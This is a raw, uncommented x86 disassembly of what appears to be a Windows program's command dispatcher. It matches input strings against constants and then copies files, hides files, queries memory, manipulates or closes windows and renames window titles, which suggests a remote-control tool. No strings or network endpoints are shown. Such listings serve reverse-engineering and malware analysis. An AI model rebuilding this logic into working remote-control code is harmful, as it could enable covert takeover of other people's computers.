mov edx, dword [ebp - 0xc]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x476459
push 0xffffffffffffffff
lea edx, [ebp - 0x344]
mov eax, dword [ebp - 0xc]
call fcn.0040a67c
mov ecx, dword [ebp - 0x344]
lea eax, [ebp - 0x340]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x340]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
inc edi
dec ebx
jne 0x476369
jmp 0x4764a1
push 0xffffffffffffffff
lea edx, [ebp - 0x34c]
mov eax, dword [ebp - 0xc]
call fcn.0040a67c
mov ecx, dword [ebp - 0x34c]
lea eax, [ebp - 0x348]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x348]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x4923f8]
call fcn.00405530
mov eax, 0x47c7a4
call fcn.00474d1c
lea eax, [ebp - 0x350]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x350]
mov edx, 0x47c7b8
call fcn.00405974
jne 0x4764ff
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
mov eax, dword [0x4923f8]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebp - 0x354]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x354]
mov edx, 0x47c7d0
call fcn.00405974
jne 0x4765df
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 0
call sub.ole32.dll_CoInitialize
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046885c
call sub.ole32.dll_CoUninitialize
lea eax, [ebp - 0x358]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x358]
mov edx, 0x47c7e4
call fcn.00405974
jne 0x4766a0
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x35c]
mov eax, dword [ebp - 0xc]
call fcn.0040a590
lea eax, [ebp - 0x35c]
mov edx, dword [ebp - 0x10]
call fcn.00405818
mov edx, dword [ebp - 0x35c]
mov eax, dword [ebp - 0xc]
call fcn.00467e98
test al, al
jne 0x4766a0
mov eax, 0x47c7f8
call fcn.00474d1c
lea eax, [ebp - 0x360]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x360]
mov edx, 0x47c80c
call fcn.00405974
jne 0x47673e
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00467e98
test al, al
jne 0x47673e
mov eax, 0x47c820
call fcn.00474d1c
lea eax, [ebp - 0x364]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x364]
mov edx, 0x47c834
call fcn.00405974
jne 0x4767b0
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x476775
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x368]
push eax
mov ecx, ebx
mov edx, 7
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x368]
call fcn.00467e7c
test al, al
je 0x4767a6
mov eax, 0x47c7a4
call fcn.00474d1c
jmp 0x4767b0
mov eax, 0x47c844
call fcn.00474d1c
lea eax, [ebp - 0x36c]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x36c]
mov edx, 0x47c858
call fcn.00405974
jne 0x47682b
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0048ac60
test al, al
jne 0x476821
push 0x47c868
push dword [ebp - 8]
push 0x47c878
lea eax, [ebp - 0x370]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x370]
call fcn.004677d8
mov eax, 0x47c7a4
call fcn.00474d1c
lea eax, [ebp - 0x374]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x374]
mov edx, 0x47c888
call fcn.00405974
jne 0x476878
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x378]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x378]
mov edx, 0x47c89c
call fcn.00405974
jne 0x4768c8
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push 0x80
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 8]
mov edx, 0x47c8b0
call fcn.00405974
jne 0x476950
lea eax, [ebp - 0x208]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
push 0x47c8b0
call fcn.00468a1c
lea edx, [ebp - 0x380]
call fcn.00409d60
push dword [ebp - 0x380]
push 0x47c330
lea eax, [ebp - 0x384]
push eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x38c], eax
mov byte [ebp - 0x388], 0
lea edx, [ebp - 0x38c]
xor ecx, ecx
mov eax, 0x47c8c0
call fcn.0040af88
push dword [ebp - 0x384]
lea eax, [ebp - 0x37c]
mov edx, 4
call fcn.004058e0
mov eax, dword [ebp - 0x37c]
call fcn.00474d1c
lea eax, [ebp - 0x390]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x390]
mov edx, 0x47c8cc
call fcn.00405974
jne 0x4769a7
lea eax, [ebp - 0x398]
call fcn.00468b90
mov ecx, dword [ebp - 0x398]
lea eax, [ebp - 0x394]
mov edx, 0x47c8cc
call fcn.00405864
mov eax, dword [ebp - 0x394]
call fcn.00474d1c
lea eax, [ebp - 0x39c]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x39c]
mov edx, 0x47c8dc
call fcn.00405974
jne 0x476a04
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
push ebp
lea eax, [ebp - 0x3a0]
call fcn.00483c78
mov eax, dword [ebp - 0x3a0]
mov ecx, dword [ebp - 8]
mov edx, 0x47c8f0
call fcn.00474ec8
pop ecx
lea eax, [ebp - 0x3a4]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3a4]
mov edx, 0x47c900
call fcn.00405974
jne 0x476ab5
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
mov eax, dword [ebp - 0xc]
call fcn.00409ecc
lea edx, [ebp - 0x3a8]
call fcn.00468270
mov eax, dword [ebp - 0x3a8]
mov ecx, dword [ebp - 0x10]
mov edx, 0x47c914
call fcn.00474ec8
pop ecx
lea eax, [ebp - 0x3ac]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3ac]
mov edx, 0x47c924
call fcn.00405974
jne 0x476bb9
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ecc
mov esi, eax
mov ebx, esi
test ebx, ebx
jle 0x476baf
mov edi, 1
cmp esi, edi
je 0x476b9e
lea eax, [ebp - 0x3b0]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x3b0]
call fcn.00409ecc
call fcn.00483944
mov edx, dword [ebp - 0xc]
mov eax, 0x47c60c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x476bab
mov eax, dword [ebp - 0xc]
call fcn.00409ecc
call fcn.00483944
inc edi
dec ebx
jne 0x476b48
mov eax, 0x47c938
call fcn.00474d1c
lea eax, [ebp - 0x3b4]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3b4]
mov edx, 0x47c94c
call fcn.00405974
jne 0x476c91
lea eax, [ebp - 8]
mov ecx, 7
mov edx, 1
call fcn.00405a84
mov dl, 1
mov eax, dword [0x417824]
call fcn.00404620
mov dword [ebp - 0x1a8], eax
xor eax, eax
push ebp
push 0x476c8a
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x3b8]
xor edx, edx
mov eax, dword [ebp - 0x1a8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x3b8]
call fcn.00409ecc
call fcn.00483944
xor edx, edx
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x1a8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x476c28
mov eax, 0x47c938
call fcn.00474d1c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x476c91
mov eax, dword [ebp - 0x1a8]
call fcn.00404650
ret
lea eax, [ebp - 0x3bc]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3bc]
mov edx, 0x47c95c
call fcn.00405974
jne 0x476ce5
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ecc
call fcn.00483944
mov eax, 0x47c938
call fcn.00474d1c
lea eax, [ebp - 0x3c0]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3c0]
mov edx, 0x47c974
call fcn.00405974
jne 0x476e7b
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea ecx, [ebp - 0x3c8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00468e64
push dword [ebp - 0x3c8]
push 0x47c330
lea ecx, [ebp - 0x3cc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00468f24
push dword [ebp - 0x3cc]
lea eax, [ebp - 0x3c4]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
call fcn.00474ec8
pop ecx
lea eax, [ebp - 0x3d0]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d0]
mov edx, 0x47c984
call fcn.00405974
jne 0x476f2f
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c994
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c994
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00468548
lea eax, [ebp - 0x3d4]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d4]
mov edx, 0x47c9a0
call fcn.00405974
jne 0x476fba
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x476f78
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x3d8]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x3dc]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3dc]
pop edx
call fcn.004686b0
lea eax, [ebp - 0x3e0]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e0]
mov edx, 0x47c9b0
call fcn.00405974
jne 0x477045
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x477003
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x3e4]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3e8]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e8]
pop edx
call fcn.004683c8
lea eax, [ebp - 0x3ec]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3ec]
mov edx, 0x47c9c0
call fcn.00405974
jne 0x47714f
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004694d0
lea eax, [ebp - 0x3f0]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3f0]
mov edx, 0x47c9d0
call fcn.00405974
jne 0x477259
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00469304
lea eax, [ebp - 0x3f4]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3f4]
mov edx, 0x47c9e4
call fcn.00405974
jne 0x477363
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004693ec
lea eax, [ebp - 0x3f8]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3f8]
mov edx, 0x47ca00
call fcn.00405974
jne 0x4774d1
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x18]
mov edx, 0x47c534
call fcn.00405974
jne 0x4774b3
push ebp
lea eax, [ebp - 0x3fc]
call fcn.004697fc
lea eax, [ebp - 0x3fc]
push eax
lea eax, [ebp - 0x400]
call fcn.00469a28
mov edx, dword [ebp - 0x400]
pop eax
call fcn.00405818
mov eax, dword [ebp - 0x3fc]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00474ec8
pop ecx
jmp 0x4774d1
push ebp
lea eax, [ebp - 0x404]
call fcn.004697fc
mov eax, dword [ebp - 0x404]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00474ec8
pop ecx
lea eax, [ebp - 0x408]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x408]
mov edx, 0x47ca14
call fcn.00405974
jne 0x477522
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
push 0
push 0
push 0x10
mov eax, dword [ebp - 8]
call fcn.00409ecc
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x40c]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x40c]
mov edx, 0x47ca24
call fcn.00405974
jne 0x47756f
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 3
mov eax, dword [ebp - 8]
call fcn.00409ecc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x410]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x410]
mov edx, 0x47ca38
call fcn.00405974
jne 0x4775bc
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 6
mov eax, dword [ebp - 8]
call fcn.00409ecc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x414]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x414]
mov edx, 0x47ca4c
call fcn.00405974
jne 0x477609
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
push 0
mov eax, dword [ebp - 8]
call fcn.00409ecc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x418]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x418]
mov edx, 0x47ca5c
call fcn.00405974
jne 0x477656
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
push 5
mov eax, dword [ebp - 8]
call fcn.00409ecc
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x41c]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x41c]
mov edx, 0x47ca6c
call fcn.00405974
jne 0x4776f2
lea eax, [ebp - 8]
mov ecx, 0x10
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.00409ecc
push eax
call sub.user32.dll_SetWindowTextA
lea eax, [ebp - 0x420]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x420]
mov edx, 0x47ca88
call fcn.00405974
jne 0x4777d6
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x424]
call fcn.00488ac8
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00474ec8
pop ecx
lea eax, [ebp - 0x428]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x428]
mov edx, 0x47ca9c
call fcn.00405974
jne 0x47781b
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00488d74
lea eax, [ebp - 0x42c]
push eax
